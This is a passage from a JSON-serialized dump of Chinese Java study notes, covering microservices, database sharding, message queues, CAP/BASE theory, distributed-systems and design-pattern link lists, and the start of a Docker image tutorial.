渐进式发展：与传统软件产品或企业应用系统一开始就规划好全部的功能和非功能需求不同，几乎所有的大型互联网网站都是从一个小网站开始，渐进地发展起来。\n\n### 4. 谈谈你对微服务领域的了解和认识\n\n现在大公司都在用并且未来的趋势都是 Spring Cloud，而阿里开源的 Spring Cloud Alibaba 也是 Spring Cloud 规范的实现 。\n\n我们通常把 Spring Cloud 理解为一系列开源组件的集合，但是 Spring Cloud并不是等同于 Spring Cloud Netflix 的 Ribbon、Feign、Eureka（停止更新）、Hystrix 这一套组件，而是抽象了一套通用的开发模式。它的目的是通过抽象出这套通用的模式，让开发者更快更好地开发业务。但是这套开发模式运行时的实际载体，还是依赖于 RPC、网关、服务发现、配置管理、限流熔断、分布式链路跟踪等组件的具体实现。\n\nSpring Cloud Alibaba 是官方认证的新一套 Spring Cloud 规范的实现,Spring Cloud Alibaba 是一套国产开源产品集合，后续还会有中文 reference 和一些原理分析文章，所以，这对于国内的开发者是非常棒的一件事。阿里的这一举动势必会推动国内微服务技术的发展，因为在没有 Spring Cloud Alibaba 之前，我们的第一选择是 Spring Cloud Netflix，但是它们的文档都是英文的，出问题后排查也比较困难， 在国内并不是有特别多的人精通。Spring Cloud Alibaba 由阿里开源组件和阿里云产品组件两部分组成，其致力于提供微服务一站式解决方案，方便开发者通过 Spring Cloud 编程模型轻松开发微服务应用。\n\n另外，Apache Dubbo Ecosystem 是围绕 Apache Dubbo 打造的微服务生态，是经过生产验证的微服务的最佳实践组合。在阿里巴巴的微服务解决方案中，Dubbo、Nacos 和 Sentinel，以及后续将开源的微服务组件，都是 Dubbo EcoSystem 的一部分。阿里后续也会将 Dubbo EcoSystem 集成到 Spring Cloud 的生态中。\n\n### 5. 谈谈你对 Dubbo 和 Spring Cloud 的认识(两者关系) \n\n具体可以看公众号-阿里巴巴中间件的这篇文章:[独家解读：Dubbo Ecosystem - 从微服务框架到微服务生态](https://mp.weixin.qq.com/s/iNVctXw7tUGHhnF0hV84ww)\n\nDubbo 与 Spring Cloud 并不是竞争关系，Dubbo 作为成熟的 RPC 框架，其易用性、扩展性和健壮性已得到业界的认可。未来 Dubbo 将会作为 Spring Cloud Alibaba 的 RPC 组件，并与 Spring Cloud 原生的 Feign 以及 RestTemplate 进行无缝整合，实现“零”成本迁移。\n\n在阿里巴巴的微服务解决方案中，Dubbo、Nacos 和 Sentinel，以及后续将开源的微服务组件，都是 Dubbo EcoSystem 的一部分。我们后续也会将 Dubbo EcoSystem 集成到 Spring Cloud 的生态中。\n\n### 6. 性能测试了解吗?说说你知道的性能测试工具?\n\n性能测试指通过自动化的测试工具模拟多种正常、峰值以及异常负载条件来对系统的各项性能指标进行测试。性能测试是总称，通常细分为：\n\n1. **基准测试：** 在给系统施加较低压力时，查看系统的运行状况并记录相关数做为基础参考\n2. **负载测试：** 是指对系统不断地增加压力或增加一定压力下的持续时间，直到系统的某项或多项性能指标达到安全临界值，例如某种资源已经达到饱和状态等 。此时继续加压，系统处理能力会下降。\n3. **压力测试：** 超过安全负载情况下，不断施加压力（增加并发请求），直到系统崩溃或无法处理任何请求，依此获得系统最大压力承受能力。\n4. **稳定性测试：** 被测试系统在特定硬件、软件、网络环境下，加载一定业务压力（模拟生产环境不同时间点、不均匀请求，呈波浪特性）运行一段较长时间，以此检测系统是否稳定。\n\n后端程序员或者测试平常比较常用的测试工具是 JMeter（官网：[https://jmeter.apache.org/](https://jmeter.apache.org/)）。Apache JMeter 是一款基于Java的压力测试工具(100％纯Java应用程序)，旨在加载测试功能行为和测量性能。它最初被设计用于 Web 应用测试但后来扩展到其他测试领域。\n\n### 7. 对于一个单体应用系统,随着产品使用的用户越来越多,网站的流量会增加,最终单台服务器无法处理那么大的流量怎么办?\n\n这个时候就要考虑扩容了。《亿级流量网站架构核心技术》这本书上面介绍到我们可以考虑下面几步来解决这个问题：\n\n- 第一步，可以考虑简单的扩容来解决问题。比如增加系统的服务器，提高硬件能力等等。\n- 第二步，如果简单扩容搞不定，就需要水平拆分和垂直拆分数据／应用来提升系统的伸缩性，即通过扩容提升系统负载能力。\n- 第三步，如果通过水平拆分／垂直拆分还是搞不定，那就需要根据现有系统特性，架构层面进行重构甚至是重新设计，即推倒重来。\n\n对于系统设计，理想的情况下应支持线性扩容和弹性扩容，即在系统瓶颈时，只需要增加机器就可以解决系统瓶颈，如降低延迟提升吞吐量，从而实现扩容需求。\n\n如果你想扩容，则支持水平/垂直伸缩是前提。在进行拆分时，一定要清楚知道自己的目的是什么，拆分后带来的问题如何解决，拆分后如果没有得到任何收益就不要为了\n拆而拆，即不要过度拆分，要适合自己的业务。\n\n### 8. 大表优化的常见手段\n\n   当MySQL单表记录数过大时，数据库的CRUD性能会明显下降，一些常见的优化措施如下：\n  \n1. **限定数据的范围：** 务必禁止不带任何限制数据范围条件的查询语句。比如：我们当用户在查询订单历史的时候，我们可以控制在一个月的范围内。；\n2. **读/写分离：** 经典的数据库拆分方案，主库负责写，从库负责读；\n3. **垂直分区：** **根据数据库里面数据表的相关性进行拆分。** 例如，用户表中既有用户的登录信息又有用户的基本信息，可以将用户表拆分成两个单独的表，甚至放到单独的库做分库。**简单来说垂直拆分是指数据表列的拆分，把一张列比较多的表拆分为多张表。** 如下图所示，这样来说大家应该就更容易理解了。![](https://user-gold-cdn.xitu.io/2018/6/16/164084354ba2e0fd?w=950&h=279&f=jpeg&s=26015)**垂直拆分的优点：** 可以使得行数据变小，在查询时减少读取的Block数，减少I/O次数。此外，垂直分区可以简化表的结构，易于维护。**垂直拆分的缺点：** 主键会出现冗余，需要管理冗余列，并会引起Join操作，可以通过在应用层进行Join来解决。此外，垂直分区会让事务变得更加复杂；\n4. **水平分区：** **保持数据表结构不变，通过某种策略存储数据分片。这样每一片数据分散到不同的表或者库中，达到了分布式的目的。 水平拆分可以支撑非常大的数据量。** 水平拆分是指数据表行的拆分，表的行数超过200万行时，就会变慢，这时可以把一张的表的数据拆成多张表来存放。举个例子：我们可以将用户信息表拆分成多个用户信息表，这样就可以避免单一表数据量过大对性能造成影响。![数据库水平拆分](https://user-gold-cdn.xitu.io/2018/6/16/164084b7e9e423e3?w=690&h=271&f=jpeg&s=23119)水平拆分可以支持非常大的数据量。需要注意的一点是:分表仅仅是解决了单一表数据过大的问题，但由于表的数据还是在同一台机器上，其实对于提升MySQL并发能力没有什么意义，所以 **水平拆分最好分库** 。水平拆分能够 **支持非常大的数据量存储，应用端改造也少**，但 **分片事务难以解决**  ，跨界点Join性能较差，逻辑复杂。《Java工程师修炼之道》的作者推荐 **尽量不要对数据进行分片，因为拆分会带来逻辑、部署、运维的各种复杂度** ，一般的数据表在优化得当的情况下支撑千万以下的数据量是没有太大问题的。如果实在要分片，尽量选择客户端分片架构，这样可以减少一次和中间件的网络I/O。\n   \n**下面补充一下数据库分片的两种常见方案：**\n\n- **客户端代理：**  **分片逻辑在应用端，封装在jar包中，通过修改或者封装JDBC层来实现。** 当当网的 **Sharding-JDBC** 、阿里的TDDL是两种比较常用的实现。\n- **中间件代理：** **在应用和数据中间加了一个代理层。分片逻辑统一维护在中间件服务中。** 我们现在谈的 **Mycat** 、360的Atlas、网易的DDB等等都是这种架构的实现。\n\n### 9. 在系统中使用消息队列能带来什么好处?\n\n**《大型网站技术架构》第四章和第七章均有提到消息队列对应用性能及扩展性的提升。**\n\n#### 1) 通过异步处理提高系统性能\n![通过异步处理提高系统性能](https://user-gold-cdn.xitu.io/2018/4/21/162e63a8e34ba534?w=910&h=350&f=jpeg&s=29123)\n如上图，**在不使用消息队列服务器的时候，用户的请求数据直接写入数据库，在高并发的情况下数据库压力剧增，使得响应速度变慢。但是在使用消息队列之后，用户的请求数据发送给消息队列之后立即 返回，再由消息队列的消费者进程从消息队列中获取数据，异步写入数据库。由于消息队列服务器处理速度快于数据库（消息队列也比数据库有更好的伸缩性），因此响应速度得到大幅改善。**\n\n通过以上分析我们可以得出**消息队列具有很好的削峰作用的功能**——即**通过异步处理，将短时间高并发产生的事务消息存储在消息队列中，从而削平高峰期的并发事务。** 举例：在电子商务一些秒杀、促销活动中，合理使用消息队列可以有效抵御促销活动刚开始大量订单涌入对系统的冲击。如下图所示：\n![合理使用消息队列可以有效抵御促销活动刚开始大量订单涌入对系统的冲击](https://user-gold-cdn.xitu.io/2018/4/21/162e64583dd3ed01?w=780&h=384&f=jpeg&s=13550)\n因为**用户请求数据写入消息队列之后就立即返回给用户了，但是请求数据在后续的业务校验、写数据库等操作中可能失败**。因此使用消息队列进行异步处理之后，需要**适当修改业务流程进行配合**，比如**用户在提交订单之后，订单数据写入消息队列，不能立即返回用户订单提交成功，需要在消息队列的订单消费者进程真正处理完该订单之后，甚至出库后，再通过电子邮件或短信通知用户订单成功**，以免交易纠纷。这就类似我们平时手机订火车票和电影票。\n\n### 2) 降低系统耦合性\n我们知道模块分布式部署以后聚合方式通常有两种：1.**分布式消息队列**和2.**分布式服务**。\n\n> **先来简单说一下分布式服务：**\n\n目前使用比较多的用来构建**SOA（Service Oriented Architecture面向服务体系结构）**的**分布式服务框架**是阿里巴巴开源的**Dubbo**.如果想深入了解Dubbo的可以看我写的关于Dubbo的这一篇文章：**《高性能优秀的服务框架-dubbo介绍》**：[https://juejin.im/post/5acadeb1f265da2375072f9c](https://juejin.im/post/5acadeb1f265da2375072f9c)\n\n> **再来谈我们的分布式消息队列：**\n\n我们知道如果模块之间不存在直接调用，那么新增模块或者修改模块就对其他模块影响较小，这样系统的可扩展性无疑更好一些。\n\n我们最常见的**事件驱动架构**类似生产者消费者模式，在大型网站中通常用利用消息队列实现事件驱动结构。如下图所示：\n![利用消息队列实现事件驱动结构](https://user-gold-cdn.xitu.io/2018/4/21/162e6665fa394b3b?w=790&h=290&f=jpeg&s=14946)\n**消息队列使利用发布-订阅模式工作，消息发送者（生产者）发布消息，一个或多个消息接受者（消费者）订阅消息。** 从上图可以看到**消息发送者（生产者）和消息接受者（消费者）之间没有直接耦合**，消息发送者将消息发送至分布式消息队列即结束对消息的处理，消息接受者从分布式消息队列获取该消息后进行后续处理，并不需要知道该消息从何而来。**对新增业务，只要对该类消息感兴趣，即可订阅该消息，对原有系统和业务没有任何影响，从而实现网站业务的可扩展性设计**。\n\n消息接受者对消息进行过滤、处理、包装后，构造成一个新的消息类型，将消息继续发送出去，等待其他消息接受者订阅该消息。因此基于事件（消息对象）驱动的业务架构可以是一系列流程。\n\n**另外为了避免消息队列服务器宕机造成消息丢失，会将成功发送到消息队列的消息存储在消息生产者服务器上，等消息真正被消费者服务器处理后才删除消息。在消息队列服务器宕机后，生产者服务器会选择分布式消息队列服务器集群中的其他服务器发布消息。**   \n\n**备注：** 不要认为消息队列只能利用发布-订阅模式工作，只不过在解耦这个特定业务环境下是使用发布-订阅模式的，**比如在我们的ActiveMQ消息队列中还有点对点工作模式**，具体的会在后面的文章给大家详细介绍，这一篇文章主要还是让大家对消息队列有一个更透彻的了解。\n\n> 这个问题一般会在上一个问题问完之后，紧接着被问到。“使用消息队列会带来什么问题？”这个问题要引起重视，一般我们都会考虑使用消息队列会带来的好处而忽略它带来的问题！\n\n### 10. 说说自己对 CAP 定理,BASE 理论的了解\n\n#### CAP 定理\n\n![CAP定理](https://user-gold-cdn.xitu.io/2018/5/24/163912e973ecb93c?w=624&h=471&f=png&s=32984)\n在理论计算机科学中，CAP定理（CAP theorem），又被称作布鲁尔定理（Brewer's theorem），它指出对于一个分布式计算系统来说，不可能同时满足以下三点：\n\n- **一致性（Consistence）** :所有节点访问同一份最新的数据副本\n- **可用性（Availability）**:每次请求都能获取到非错的响应——但是不保证获取的数据为最新数据\n- **分区容错性（Partition tolerance）** : 分布式系统在遇到某节点或网络分区故障的时候，仍然能够对外提供满足一致性和可用性的服务。\n\nCAP仅适用于原子读写的NOSQL场景中，并不适合数据库系统。现在的分布式系统具有更多特性比如扩展性、可用性等等，在进行系统设计和开发时，我们不应该仅仅局限在CAP问题上。\n\n**注意：不是所谓的3选2（不要被网上大多数文章误导了）:**\n\n大部分人解释这一定律时，常常简单的表述为：“一致性、可用性、分区容忍性三者你只能同时达到其中两个，不可能同时达到”。实际上这是一个非常具有误导性质的说法，而且在CAP理论诞生12年之后，CAP之父也在2012年重写了之前的论文。\n\n**当发生网络分区的时候，如果我们要继续服务，那么强一致性和可用性只能2选1。也就是说当网络分区之后P是前提，决定了P之后才有C和A的选择。也就是说分区容错性（Partition tolerance）我们是必须要实现的。**\n\n我在网上找了很多文章想看一下有没有文章提到这个不是所谓的3选2，用百度半天没找到了一篇，用谷歌搜索找到一篇比较不错的，如果想深入学习一下CAP就看这篇文章把，我这里就不多BB了：**《分布式系统之CAP理论》 ：** [http://www.cnblogs.com/hxsyl/p/4381980.html](http://www.cnblogs.com/hxsyl/p/4381980.html)\n\n\n#### BASE 理论\n\n**BASE** 是 **Basically Available（基本可用）** 、**Soft-state（软状态）** 和 **Eventually Consistent（最终一致性）** 三个短语的缩写。BASE理论是对CAP中一致性和可用性权衡的结果，其来源于对大规模互联网系统分布式实践的总结，是基于CAP定理逐步演化而来的，它大大降低了我们对系统的要求。\n\n**BASE理论的核心思想：** 即使无法做到强一致性，但每个应用都可以根据自身业务特点，采用适当的方式来使系统达到最终一致性。也就是牺牲数据的一致性来满足系统的高可用性，系统中一部分数据不可用或者不一致时，仍需要保持系统整体“主要可用”。\n\n\n**BASE理论三要素：**\n\n![BASE理论三要素](https://user-gold-cdn.xitu.io/2018/5/24/163914806d9e15c6?w=612&h=461&f=png&s=39129)\n\n1. **基本可用：** 基本可用是指分布式系统在出现不可预知故障的时候，允许损失部分可用性。但是，这绝不等价于系统不可用。 比如： **①响应时间上的损失**:正常情况下，一个在线搜索引擎需要在0.5秒之内返回给用户相应的查询结果，但由于出现故障，查询结果的响应时间增加了1~2秒；**②系统功能上的损失**：正常情况下，在一个电子商务网站上进行购物的时候，消费者几乎能够顺利完成每一笔订单，但是在一些节日大促购物高峰的时候，由于消费者的购物行为激增，为了保护购物系统的稳定性，部分消费者可能会被引导到一个降级页面；\n2. **软状态：** 软状态指允许系统中的数据存在中间状态，并认为该中间状态的存在不会影响系统的整体可用性，即允许系统在不同节点的数据副本之间进行数据同步的过程存在延时；\n3. **最终一致性：** 最终一致性强调的是系统中所有的数据副本，在经过一段时间的同步后，最终能够达到一个一致的状态。因此，最终一致性的本质是需要系统保证最终数据能够达到一致，而不需要实时保证系统数据的强一致性。\n\n### 参考\n\n- 《大型网站技术架构》\n- 《亿级流量网站架构核心技术》\n- 《Java工程师修炼之道》\n-  https://www.cnblogs.com/puresoul/p/5456855.html\n"
  },
  {
    "path": "docs/system-design/website-architecture/分布式.md",
    "content": "  - ### 一　分布式系统的经典基础理论\n  \n    [分布式系统的经典基础理论](https://blog.csdn.net/qq_34337272/article/details/80444032)\n\n     本文主要是简单的介绍了三个常见的概念： **分布式系统设计理念** 、 **CAP定理** 、 **BASE理论** ，关于分布式系统的还有很多很多东西。\n   ![分布式系统的经典基础理论总结](https://user-gold-cdn.xitu.io/2018/5/24/1639234237ec9805?w=791&h=466&f=png&s=55908)\n\n  - ### 二　分布式事务\n    分布式事务就是指事务的参与者、支持事务的服务器、资源服务器以及事务管理器分别位于不同的分布式系统的不同节点之上。以上是百度百科的解释，简单的说，就是一次大的操作由不同的小操作组成，这些小的操作分布在不同的服务器上，且属于不同的应用，分布式事务需要保证这些小操作要么全部成功，要么全部失败。本质上来说，分布式事务就是为了保证不同数据库的数据一致性。\n    * [深入理解分布式事务](http://www.codeceo.com/article/distributed-transaction.html)\n    * [分布式事务？No, 最终一致性](https://zhuanlan.zhihu.com/p/25933039)\n    * [聊聊分布式事务，再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)\n　　\n\n  - ### 三　分布式系统一致性\n    [分布式服务化系统一致性的“最佳实干”](https://www.jianshu.com/p/1156151e20c8)\n\n   - ### 四　一致性协议/算法\n     早在1898年就诞生了著名的 **Paxos经典算法** （**Zookeeper就采用了Paxos算法的近亲兄弟Zab算法**），但由于Paxos算法非常难以理解、实现、排错。所以不断有人尝试简化这一算法，直到2013年才有了重大突破：斯坦福的Diego Ongaro、John Ousterhout以易懂性为目标设计了新的一致性算法—— **Raft算法** ，并发布了对应的论文《In Search of an Understandable Consensus Algorithm》，到现在有十多种语言实现的Raft算法框架，较为出名的有以Go语言实现的Etcd，它的功能类似于Zookeeper，但采用了更为主流的Rest接口。\n     * [图解 Paxos 一致性协议](http://blog.xiaohansong.com/2016/09/30/Paxos/)\n     *  [图解分布式协议-RAFT](http://ifeve.com/raft/)\n     *  [Zookeeper ZAB 协议分析](http://blog.xiaohansong.com/2016/08/25/zab/)\n\n- ### 五　分布式存储\n\n  **分布式存储系统将数据分散存储在多台独立的设备上**。传统的网络存储系统采用集中的存储服务器存放所有数据，存储服务器成为系统性能的瓶颈，也是可靠性和安全性的焦点，不能满足大规模存储应用的需要。分布式网络存储系统采用可扩展的系统结构，利用多台存储服务器分担存储负荷，利用位置服务器定位存储信息，它不但提高了系统的可靠性、可用性和存取效率，还易于扩展。 \n  \n   * [分布式存储系统概要](http://witchiman.top/2017/05/05/distributed-system/)\n   \n- ### 六　分布式计算\n\n  **所谓分布式计算是一门计算机科学，它研究如何把一个需要非常巨大的计算能力才能解决的问题分成许多小的部分，然后把这些部分分配给许多计算机进行处理，最后把这些计算结果综合起来得到最终的结果。**\n  分布式网络存储技术是将数据分散的存储于多台独立的机器设备上。分布式网络存储系统采用可扩展的系统结构，利用多台存储服务器分担存储负荷，利用位置服务器定位存储信息，不但解决了传统集中式存储系统中单存储服务器的瓶颈问题，还提高了系统的可靠性、可用性和扩展性。\n  \n  * [关于分布式计算的一些概念](https://blog.csdn.net/qq_34337272/article/details/80549020)\n  \n  "
  },
  {
    "path": "docs/system-design/设计模式.md",
    "content": "# Java 设计模式\n\n下面是自己学习设计模式的时候做的总结，有些是自己的原创文章，有些是网上写的比较好的文章，保存下来细细消化吧！\n\n**系列文章推荐：**<https://design-patterns.readthedocs.io/zh_CN/latest/index.html>\n\n## 创建型模式\n\n### 创建型模式概述\n\n- 创建型模式(Creational Pattern)对类的实例化过程进行了抽象，能够将软件模块中对象的创建和对象的使用分离。为了使软件的结构更加清晰，外界对于这些对象只需要知道它们共同的接口，而不清楚其具体的实现细节，使整个系统的设计更加符合单一职责原则。\n- 创建型模式在创建什么(What)，由谁创建(Who)，何时创建(When)等方面都为软件设计者提供了尽可能大的灵活性。创建型模式隐藏了类的实例的创建细节，通过隐藏对象如何被创建和组合在一起达到使整个系统独立的目的。 \n\n![创建型模式](https://user-gold-cdn.xitu.io/2018/6/16/1640641afcb7559b?w=491&h=241&f=png&s=51443)\n\n### 常见创建型模式详解\n\n- **单例模式：** [深入理解单例模式——只有一个实例](https://blog.csdn.net/qq_34337272/article/details/80455972)\n- **工厂模式：** [深入理解工厂模式——由对象工厂生成对象](https://blog.csdn.net/qq_34337272/article/details/80472071)\n- **建造者模式：** [深入理解建造者模式 ——组装复杂的实例](http://blog.csdn.net/qq_34337272/article/details/80540059)\n- **原型模式：** [深入理解原型模式 ——通过复制生成实例](https://blog.csdn.net/qq_34337272/article/details/80706444)\n\n## 结构型模式\n\n### 结构型模式概述\n\n- **结构型模式(Structural Pattern)：** 描述如何将类或者对象结合在一起形成更大的结构，就像搭积木，可以通过简单积木的组合形成复杂的、功能更为强大的结构\n![结构型模式(Structural Pattern)](https://user-gold-cdn.xitu.io/2018/6/16/164064d6b3c205e3?w=719&h=233&f=png&s=270293)\n- **结构型模式可以分为类结构型模式和对象结构型模式：**  \n   - 类结构型模式关心类的组合，由多个类可以组合成一个更大的系统，在类结构型模式中一般只存在继承关系和实现关系。\n   - 对象结构型模式关心类与对象的组合，通过关联关系使得在一个类中定义另一个类的实例对象，然后通过该对象调用其方法。根据“合成复用原则”，在系统中尽量使用关联关系来替代继承关系，因此大部分结构型模式都是对象结构型模式。\n\n![结构型模式](https://user-gold-cdn.xitu.io/2018/6/16/1640655459d766d2?w=378&h=266&f=png&s=59652)\n\n### 常见结构型模式详解\n\n- **适配器模式：**\n  -  [深入理解适配器模式——加个“适配器”以便于复用](https://segmentfault.com/a/1190000011856448)\n  - [适配器模式原理及实例介绍-IBM](https://www.ibm.com/developerworks/cn/java/j-lo-adapter-pattern/index.html)\n- **桥接模式：** [设计模式笔记16：桥接模式(Bridge Pattern)](https://blog.csdn.net/yangzl2008/article/details/7670996)\n- **组合模式：** [大话设计模式—组合模式](https://blog.csdn.net/lmb55/article/details/51039781)\n- **装饰模式：** [java模式—装饰者模式](https://www.cnblogs.com/chenxing818/p/4705919.html)、[Java设计模式-装饰者模式](https://blog.csdn.net/cauchyweierstrass/article/details/48240147)\n- **外观模式：** [java设计模式之外观模式（门面模式）](https://www.cnblogs.com/lthIU/p/5860607.html)\n- **享元模式：** [享元模式](http://www.jasongj.com/design_pattern/flyweight/)\n- **代理模式：**\n  - [代理模式原理及实例讲解 （IBM出品，很不错）](https://www.ibm.com/developerworks/cn/java/j-lo-proxy-pattern/index.html)\n  - [轻松学，Java 中的代理模式及动态代理](https://blog.csdn.net/briblue/article/details/73928350)\n  - [Java代理模式及其应用](https://blog.csdn.net/justloveyou_/article/details/74203025)\n\n\n## 行为型模式\n\n### 行为型模式概述\n\n- 行为型模式(Behavioral Pattern)是对在不同的对象之间划分责任和算法的抽象化。\n- 行为型模式不仅仅关注类和对象的结构，而且重点关注它们之间的相互作用。\n- 通过行为型模式，可以更加清晰地划分类与对象的职责，并研究系统在运行时实例对象之间的交互。在系统运行时，对象并不是孤立的，它们可以通过相互通信与协作完成某些复杂功能，一个对象在运行时也将影响到其他对象的运行。 \n\n**行为型模式分为类行为型模式和对象行为型模式两种：**\n\n- **类行为型模式：** 类的行为型模式使用继承关系在几个类之间分配行为，类行为型模式主要通过多态等方式来分配父类与子类的职责。\n- **对象行为型模式：** 对象的行为型模式则使用对象的聚合关联关系来分配行为，对象行为型模式主要是通过对象关联等方式来分配两个或多个类的职责。根据“合成复用原则”，系统中要尽量使用关联关系来取代继承关系，因此大部分行为型设计模式都属于对象行为型设计模式。\n\n![行为型模式](https://user-gold-cdn.xitu.io/2018/6/28/164467dd92c6172c?w=453&h=269&f=png&s=63270)\n\n- **职责链模式：**\n- [Java设计模式之责任链模式、职责链模式](https://blog.csdn.net/jason0539/article/details/45091639)\n- [责任链模式实现的三种方式](https://www.cnblogs.com/lizo/p/7503862.html)\n- **命令模式：** <https://design-patterns.readthedocs.io/zh_CN/latest/behavioral_patterns/command.html> 在软件设计中，我们经常需要向某些对象发送请求，但是并不知道请求的接收者是谁，也不知道被请求的操作是哪个，我们只需在程序运行时指定具体的请求接收者即可，此时，可以使用命令模式来进行设计，使得请求发送者与请求接收者消除彼此之间的耦合，让对象之间的调用关系更加灵活。命令模式可以对发送者和接收者完全解耦，发送者与接收者之间没有直接引用关系，发送请求的对象只需要知道如何发送请求，而不必知道如何完成请求。这就是命令模式的模式动机。\n- **解释器模式：** <https://design-patterns.readthedocs.io/zh_CN/latest/behavioral_patterns/mediator.html>\n- **迭代器模式：**\n- **中介者模式：**\n- **备忘录模式：**\n- **观察者模式：** <https://design-patterns.readthedocs.io/zh_CN/latest/behavioral_patterns/observer.html>\n- **状态模式：**<https://design-patterns.readthedocs.io/zh_CN/latest/behavioral_patterns/state.html>\n- **策略模式：**<https://design-patterns.readthedocs.io/zh_CN/latest/behavioral_patterns/strategy.html>\n\n策略模式作为设计原则中开闭原则最典型的体现，也是经常使用的。下面这篇博客介绍了策略模式一般的组成部分和概念，并用了一个小demo去说明了策略模式的应用。\n\n[java设计模式之策略模式](https://blog.csdn.net/zlj1217/article/details/81230077)\n\n- **模板方法模式：**\n- **访问者模式：**\n\n"
  },
  {
    "path": "docs/tools/Docker-Image.md",
    "content": "镜像作为 Docker 三大核心概念中，最重要的一个关键词，它有很多操作，是您想学习容器技术不得不掌握的。本文将带您一步一步，图文并重，上手操作来学习它。\n\n### 目录\n\n<!-- TOC -->\n\n- [一 Docker 下载镜像](#一-docker-下载镜像)\n    - [1.1 下载镜像](#11-下载镜像)\n    - [1.2 验证](#12-验证)\n    - [1.3 下载镜像相关细节](#13-下载镜像相关细节)\n    - [1.4 PULL 子命令](#14-pull-子命令)\n- [二 Docker 查看镜像信息](#二-docker-查看镜像信息)\n    - [2.1 images 命令列出镜像](#21-images-命令列出镜像)\n    - [2.2 使用 tag 命令为镜像添加标签](#22-使用-tag-命令为镜像添加标签)\n    - [2.3 使用 inspect 命令查看镜像详细信息](#23-使用-inspect-命令查看镜像详细信息)\n    - [2.4 使用 history 命令查看镜像历史](#24-使用-history-命令查看镜像历史)\n- [三 Docker 搜索镜像](#三-docker-搜索镜像)\n    - [3.1 search 命令](#31-search-命令)\n    - [3.2 search 子命令](#32-search-子命令)\n- [四 Docker 删除镜像](#四-docker-删除镜像)\n    - [4.1 通过标签删除镜像](#41-通过标签删除镜像)\n    - [4.2 通过 ID 删除镜像](#42-通过-id-删除镜像)\n    - [4.3 删除镜像的限制](#43-删除镜像的限制)\n    - [4.4 清理镜像](#44-清理镜像)\n- [五 Docker 创建镜像](#五-docker-创建镜像)\n    - [5.1 基于已有的镜像创建](#51-基于已有的镜像创建)\n    - [5.2 基于 Dockerfile 创建](#52-基于-dockerfile-创建)\n- [六 Docker 导出&加载镜像](#六-docker-导出加载镜像)\n    - [6.1 导出镜像](#61-导出镜像)\n    - [6.2 加载镜像](#62-加载镜像)\n- [七 Docker 上传镜像](#七-docker-上传镜像)\n    - [7.1 获取 Docker ID](#71-获取-docker-id)\n    - [7.2 创建镜像仓库](#72-创建镜像仓库)\n    - [7.3 上传镜像](#73-上传镜像)\n- [八 总结](#八-总结)\n\n<!-- /TOC -->\n\n## 一 Docker 下载镜像\n\n如果我们想要在本地运行容器，就必须保证本地存在对应的镜像。所以，第一步，我们需要下载镜像。当我们尝试下载镜像时，Docker 会尝试先从默认的镜像仓库（默认使用 Docker Hub 公共仓库）去下载，当然了，用户也可以自定义配置想要下载的镜像仓库。\n\n### 1.1 下载镜像\n\n镜像是运行容器的前提，我们可以使用 `docker pull[IMAGE_NAME]:[TAG]`命令来下载镜像，其中 `IMAGE_NAME` 表示的是镜像的名称，而 `TAG` 是镜像的标签，也就是说我们需要通过 “**镜像 + 标签**” 的方式来下载镜像。\n\n**注意：** 您也可以不显式地指定 TAG, 它会默认下载 latest 标签，也就是下载仓库中最新版本的镜像。这里并不推荐您下载 latest 标签，因为该镜像的内容会跟踪镜像的最新版本，并随之变化，所以它是不稳定的。在生产环境中，可能会出现莫名其妙的 bug, 推荐您最好还是显示的指定具体的 TAG。\n\n举个例子，如我们想要下载一个 Mysql 5.7 镜像，可以通过命令来下载：\n\n```\ndocker pull mysql:5.7\n```\n\n会看到控制台输出内容如下：\n\n![Docker 下载镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTPaaGfBRjupMm7dg74uP4a4jx1QeMY7PAHmqjFRYMkbsiaY0hZV3371uw/?wx_fmt=jpeg)\n\n**注意：** 由于官方 DockerHub 仓库服务器在国外，下载速度较慢，所以我将仓库的地址更改成了国内的 `docker.io` 的镜像仓库，所以在上图中，镜像前面会有 `docker.io` 出现。\n\n当有 **Downloaded** 字符串输出的时候，说明下载成功了！！\n\n### 1.2 验证\n\n让我们来验证一下，本地是否存在 Mysql5.7 的镜像，运行命令：\n\n```\ndocker images\n```\n\n![验证本地镜像是否存在](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTP0QbqA4STORwmkmv1OcZM8n8BiarCrWxGiayXFdMVGlvGjv7NUFNDWpHQ/?wx_fmt=jpeg)\n\n可以看到本地的确存在该镜像，确实是下载成功了！\n\n### 1.3 下载镜像相关细节\n\n再说说上面下载镜像的过程：\n\n![Docker 镜像下载](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTPKgsXuhayxmKjVSb5kkEB0ffKjUq2TB0FLA0Tqu7kIibRiawRP0afUcVA/?wx_fmt=jpeg)\n\n通过下载过程，可以看到，一个镜像一般是由多个层（ `layer`） 组成，类似 `f7e2b70d04ae`这样的串表示层的唯一 ID（实际上完整的 ID 包括了 256 个 bit, 64 个十六进制字符组成）。\n\n**您可能会想，如果多个不同的镜像中，同时包含了同一个层（ layer）,这样重复下载，岂不是导致了存储空间的浪费么?**\n\n实际上，Docker 并不会这么傻会去下载重复的层（ `layer`）,Docker 在下载之前，会去检测本地是否会有同样 ID 的层，如果本地已经存在了，就直接使用本地的就好了。\n\n**另一个问题，不同仓库中，可能也会存在镜像重名的情况发生, 这种情况咋办？**\n\n严格意义上，我们在使用 `docker pull` 命令时，还需要在镜像前面指定仓库地址( `Registry`), 如果不指定，则 Docker 会使用您默认配置的仓库地址。例如上面，由于我配置的是国内 `docker.io` 的仓库地址，我在 `pull` 的时候，docker 会默认为我加上 `docker.io/library` 的前缀。\n\n如：当我执行 `docker pull mysql:5.7` 命令时，实际上相当于 `docker pull docker.io/mysql:5.7`，如果您未自定义配置仓库，则默认在下载的时候，会在镜像前面加上 DockerHub 的地址。\n\nDocker 通过前缀地址的不同，来保证不同仓库中，重名镜像的唯一性。\n\n### 1.4 PULL 子命令\n\n命令行中输入：\n\n```\ndocker pull --help\n```\n\n会得到如下信息：\n\n```\n[root@iZbp1j8y1bab0djl9gdp33Z ~]# docker pull --help\nUsage:  docker pull [OPTIONS] NAME[:TAG|@DIGEST]\nPull an image or a repository from a registry\nOptions:  -a, --all-tags                Download all tagged images in the repository      --disable-content-trust   Skip image verification (default true)      --help                    Print usage\n```\n\n我们可以看到主要支持的子命令有：\n\n1. `-a,--all-tags=true|false`: 